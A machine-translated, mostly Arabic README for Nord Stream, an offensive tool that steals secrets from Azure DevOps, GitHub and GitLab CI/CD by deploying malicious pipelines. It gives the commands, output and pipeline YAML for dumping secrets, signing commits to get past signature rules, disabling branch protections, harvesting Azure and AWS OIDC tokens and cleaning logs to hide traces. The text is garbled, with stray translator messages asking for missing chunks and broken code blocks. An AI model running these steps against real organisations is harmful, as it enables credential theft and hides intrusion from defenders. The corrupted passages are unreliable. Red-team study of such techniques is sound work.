
Nord Stream هي أداة تسمح لك باستخراج الأسرار المخزنة داخل بيئات CI/CD عن طريق نشر خطوط أنابيب ضارة. تدعم حالياً Azure DevOps وGitHub وGitLab.
Nord Stream هي أداة تسمح لك باستخراج الأسرار المخزنة داخل بيئات CI/CD عن طريق نشر خطوط أنابيب خبيثة.
تدعم حاليًا Azure DevOps وGitHub وGitLab.
اعرف المزيد في مقال المدونة التالي: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` مطلوب أيضًا (انظر https://git-scm.com/download/) ويجب أن يكون موجودًا في `PATH` الخاصة بك.
## الاستخدام
إليك مثال بسيط على GitHub؛ في البداية، يمكن للمرء تعداد الأسرار المختلفة.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
ثم تابع إلى عملية استخراج البيانات:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### الوسائط المشتركة
بعض الوسائط مشتركة بين [GitHub](#github) و[Azure DevOps](#azure-devops) و[GitLab](#gitlab)، وهذه بعض الأمثلة.
#### وصف التوكن
يمكن استخدام الخيار `--describe-token` لعرض معلومات عامة حول التوكن الخاص بك:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
يمكن استخدام الخيار --build-yaml لإنشاء ملف خط أنابيب دون نشره. يسترجع أسماء الأسرار المختلفة لبناء خط الأنابيب المرتبط، والذي يمكن استخدامه لإضافة خطوات مخصصة:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
يمكن استخدام خيار `--yaml` لنشر خط أنابيب مخصص:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
No input text was provided. Please paste the Markdown chunk to translate.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
افتراضيًا، سيعرض مخرجات المهمة المسماة `command` من وظيفة `init`، ولكن يتم تخزين كل شيء محليًا ويمكن الوصول إليه يدويًا:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
افتراضيًا، سيحاول Nord Stream إزالة الآثار المتبقية بعد نشر خط أنابيب، اعتمادًا على صلاحياتك. للحفاظ على الآثار، يمكن استخدام خيار --no-clean. سيؤدي هذا إلى الاحتفاظ بسجلات خط الأنابيب، لكنه سيظل يعيد التغييرات التي أُجريت على المستودع.
لاحظ أنه بالنسبة إلى GitLab، لا يمكن حذف بعض الآثار.
يمكن لمشرفي المستودعات فرض توقيع الالتزامات المطلوب على فرع ما لحظر جميع الالتزامات غير الموقعة وغير الموثقة. مع Nord Stream، من الممكن توقيع الالتزامات لتجاوز هذه الحماية.
أولاً، أنشئ واستورد مفتاح GPG الخاص بك على منصة SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
Please provide the Markdown content to translate.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
يبدو أن محتوى الإدخال (INPUT) فارغ أو غير مرفق في هذه الرسالة. لا يوجد نص متاح لترجمته. يرجى إرسال نص القسم (Chunk 21) المطلوب ترجمته.```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps
يمكن لـ Nord Stream استخراج الأنواع التالية من الأسرار:
- مجموعات المتغيرات (vg)
- الملفات الآمنة (sf)
- اتصالات الخدمة
#### اتصالات الخدمة
يتيح Azure DevOps إمكانية إنشاء اتصالات مع الخدمات الخارجية والبعيدة لتنفيذ المهام في وظيفة. وللقيام بذلك، يتم استخدام اتصالات الخدمة. يحتفظ اتصال الخدمة ببيانات اعتماد لهوية ما إلى خدمة بعيدة. هناك أنواع متعددة من اتصالات الخدمة في Azure DevOps.
يدعم Nord Stream حاليًا استخراج الأسرار للأنواع التالية من اتصالات الخدمة:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
إذا صادفت نوعًا غير مدعوم، يرجى فتح issue أو إرسال pull request :)
##### SSH
كان استخراج هذا النوع من اتصالات الخدمة مؤلمًا في التنفيذ. الناتج هو ما يلي:```
hostname:::port:::user:::password:::privatekey
إذا كنت تريد تشغيله على مشغّل مستضاف ذاتيًا، يمكنك القيام بما يلي:```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
ثم يجب عليك:
1) غيّر `vmImage: ubuntu-latest` إلى `name: 'Self-Hosted pool name'`
2) أضف اسم اتصال الخدمة في العنصر النائب `#FIXME`.
3) انشر الـ pipeline باستخدام: `--yaml test.yml`
إذا كنت بحاجة إلى تشغيل هذا على جهاز تشغيل ذاتي الاستضافة بنظام Windows، ففي طريقة `generatePipelineForSSH` غيّر `_serviceConnectionTemplateSSH` إلى `_serviceConnectionTemplateSSHWindows` ونفّذ الإجراءات الموصوفة سابقًا.
ملاحظة: بالنسبة لأجهزة التشغيل ذاتي الاستضافة لكل من Windows و Linux، تحتاج إلى تكييف المسار (`/home/vsts/work/_tasks/` أو `D:\a\`) ليطابق المسار الذي يتم فيه نشر جهاز التشغيل. يمكن الحصول على هذه المعلومات من تبويب `Capabilities` الخاص بوكيل في Azure DevOps.
#### سرد المؤسسات
باستخدام رمز وصول، يمكن سرد المؤسسات المرتبطة بمستخدم:```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
- myorg
- supersecretorg
يستند هذا إلى هذا البحث.
$ nord-stream devops -h CICD pipeline exploitation tool
Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.
Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg
Authors: @hugow @0hexit
### GitHub
#### سرد الحمايات
يمكن استخدام خيار `--list-protections` لسرد الحمايات المطبَّقة على فرع وعلى البيئات:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[*] Using branch: "main"
[*] Checking security: "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[*] Branch protections:
- enforce admins: True
- block creations: True
- required signatures: True
- allow force pushes: False
- allow deletions: False
- required pull request reviews: False
- required linear history: False
- required conversation resolution: False
- lock branch: False
- allow fork syncing: False
[*] Environment protection for: "DEV":
- deployment branch policy: custom
[*] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
- deployment branch policy: custom
اعتمادًا على صلاحياتك، قد تحصل على معلومات أقل؛ فقط المسؤولون يمكنهم رؤية التفاصيل الكاملة للحمايات.
يمكن استخدام خيار --disable-protections لتعطيل الحمايات المطبقة على فرع أو بيئة مؤقتًا، وتنفيذ التفريغ (dump) ثم استعادة جميع الحمايات:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
[] Using branch: "main"
[+] "synacktiv/repo"
[] Found branch protection rule on "main" branch
[...]
[!] Removing branch protection, wait until it's restored.
[] Getting secrets from environment: "prod" (synacktiv/repo)
[] Environment protection for: "PROD":
- deployment branch policy: custom
[!] Modifying env protection, wait until it's restored.
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[!] Restoring env protections.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[*] Cleaning logs. [!] Restoring branch protection.
This requires admin privileges.
#### Force
By default, if Nord Stream detect a protection on a branch or on an environment it won't perform the secret extraction. If you think that the protections are too permissive or can be bypassed with your privileges, the `--force` option can be used to deploy the pipeline regardless of protections.
#### Azure OIDC
OIDC (OpenID Connect) can be used to connect to cloud services. The general idea is to allow authorized pipelines or workflows to get short-lived access tokens directly from a cloud provider, without involving any static secrets. Authorization is based on trust relationships configured on the cloud provider's side and being conditioned by the origin of the pipeline or workflow.
Here is an example of a GitHub workflow using OIDC:```yaml
[...]
steps:
- name: OIDC Login to Azure Public Cloud
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
إذا صادفت مثل هذا السير العمل، فهذا يعني أن المستودع قد يكون مُهيأً للحصول على رمز وصول قصير الأمد يمكن أن يمنحك الوصول إلى موارد Azure.
يستطيع Nord Stream نشر خط أنابيب (pipeline) لاسترداد رمز الوصول هذا مع الخيارات التالية:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
The `--azure-subscription-id` اختياري ويمكن استخدامه للحصول على رمز وصول لاشتراك معيّن.
#### AWS OIDC
يمكن استخدام التقنية نفسها (انظر [Azure OIDC](#azure-oidc)) للحصول على رمز جلسة على AWS.
فيما يلي مثال على سير عمل يستخدم AWS OIDC:```yaml
[...]
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
role-session-name: oidcrolesession
aws-region: us-east-1
إذا صادفت مثل هذا السير، فهذا يعني أن المستودع قد يكون مُهيأً للحصول على رمز وصول AWS يمكن أن يمنحك إمكانية الوصول إلى موارد AWS.
يستطيع Nord Stream نشر خط أنابيب لاسترجاع رمز الوصول هذا مع الخيارات التالية:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
#### المساعدة```
$ nord-stream github -h
CICD pipeline exploitation tool
Usage:
nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
nord-stream github [options] --token <ghp> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
Signing:
--key-id <id> GPG primary key ID
--user <user> User used to sign commits
--email <email> Email address used to sign commits
args
--token <ghp> Github personal token
--org <org> Org name
-r, --repo <repo> Run on selected repo (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean workflow logs (default false)
--clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
--build-yaml <filename> Create a pipeline yaml file with all secrets.
--env <env> Specify env for the yaml file creation.
--no-repo Don't extract repo secrets.
--no-env Don't extract environnments secrets.
--no-org Don't extract organization secrets.
--azure-tenant-id <tenant> Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
--azure-subscription-id <subscription> Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
--azure-client-id <client> Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
--aws-role <role> AWS role to assume (OIDC related).
--aws-region <region> AWS region (OIDC related).
--list-protections List all protections.
--list-repos List all repos.
--list-secrets List all secrets.
--disable-protections Disable the branch protection rules (needs admin rights)
--write-filter Filter repo where current user has write or admin access.
--force Don't check environment and branch protections.
--branch-name <name> Use specific branch name for deployment.
--describe-token Display information on the token
Examples:
List all secrets from all repositories
$ nord-stream github --token "$GHP" --org myorg --list-secrets
Dump all secrets from all repositories and try to disable branch protections
$ nord-stream github --token "$GHP" --org myorg --disable-protections
Authors: @hugow @0hexit
كما هو موصوف في المقال، لا توجد طريقة لإزالة السجلات في تبويب النشاط بعد نشر خط أنابيب. يجب أخذ هذا في الاعتبار أثناء عمليات الفريق الأحمر.
يمكن استخدام الخيار --list-secrets لسرد واستخراج الأسرار من GitLab.
تختلف طريقة إدارة GitLab للأسرار قليلاً عن Azure DevOps وGitHub action. مع وصول إداري إلى مشروع أو مجموعة أو حتى وصول إداري على مثيل GitLab، يمكن استخراج جميع متغيرات CI/CD المعرَّفة دون نشر أي خط أنابيب.
أما بالنسبة لمستخدم بصلاحيات منخفضة، فمن غير الممكن سرد الأسرار المعرَّفة على مستوى المشروع / المجموعة أو المثيل. ومع ذلك، إذا كان لدى المستخدمين صلاحيات كتابة على مشروع، فسيتمكنون من نشر خط أنابيب خبيث لاستخراج متغيرات البيئة التي تكشف متغيرات CI/CD. هذا يعني أنه ليس لدى المستخدم بصلاحيات منخفضة أي وسيلة لمعرفة ما إذا كان هناك سر معرَّف في مشروع معين. الطريقة الوحيدة هي النظر إلى خطوط الأنابيب المشروعة الموجودة بالفعل في مشروع والتحقق مما إذا كان خط الأنابيب يستخدم متغيرات بيئة حساسة.
في ما يلي ملف خط أنابيب لتنفيذ هذه العملية على GitLab:```yaml stages:
deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0
يدعم GitLab أيضًا الملفات الآمنة مثل Azure DevOps. يتم تعريف الملفات الآمنة على مستوى المشروع. وكما هو الحال مع المتغيرات، لا يمكن سرد الملفات الآمنة دون وصول المسؤول إلى المشروع. ومع ذلك، مع وصول المسؤول، سيحاول nord-stream استخراج الملفات الآمنة المتعلقة بالمشاريع.
#### YAML
نفس [YAML](#yaml)، لكنك تحتاج إلى توفير مسار المشروع الكامل على النحو التالي:```sh
$ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
مخرجات الأمر --list-projects تُرجع هذا المسار.
$ nord-stream gitlab -h CICD pipeline exploitation tool
Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token
Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
Authors: @hugow @0hexit
## المهام
- [ ] إضافة دعم لعناوين URL المقابلة لخوادم Azure DevOps (الحلول المحلية)
- [ ] إضافة خيار لاستخراج الأسرار عبر مضيفي Windows
- [ ] إضافة دعم لبيئات CI/CD الأخرى (Jenkins/Bitbucket)
- [ ] استخدام GitHub GraphQL API بدلاً من REST لسرد قواعد حماية الفروع وتعطيلها مؤقتًا إذا كانت تطابق الفرع الخبيث الذي سيتم دفعه
## التواصل
يرجى إرسال أي أخطاء أو مشكلات أو أسئلة أو طلبات ميزات ضمن "Issues" أو إرسالها إلينا على تويتر [@hugow](https://twitter.com/hugow_vincent) و [@0hexit](https://twitter.com/0hexit).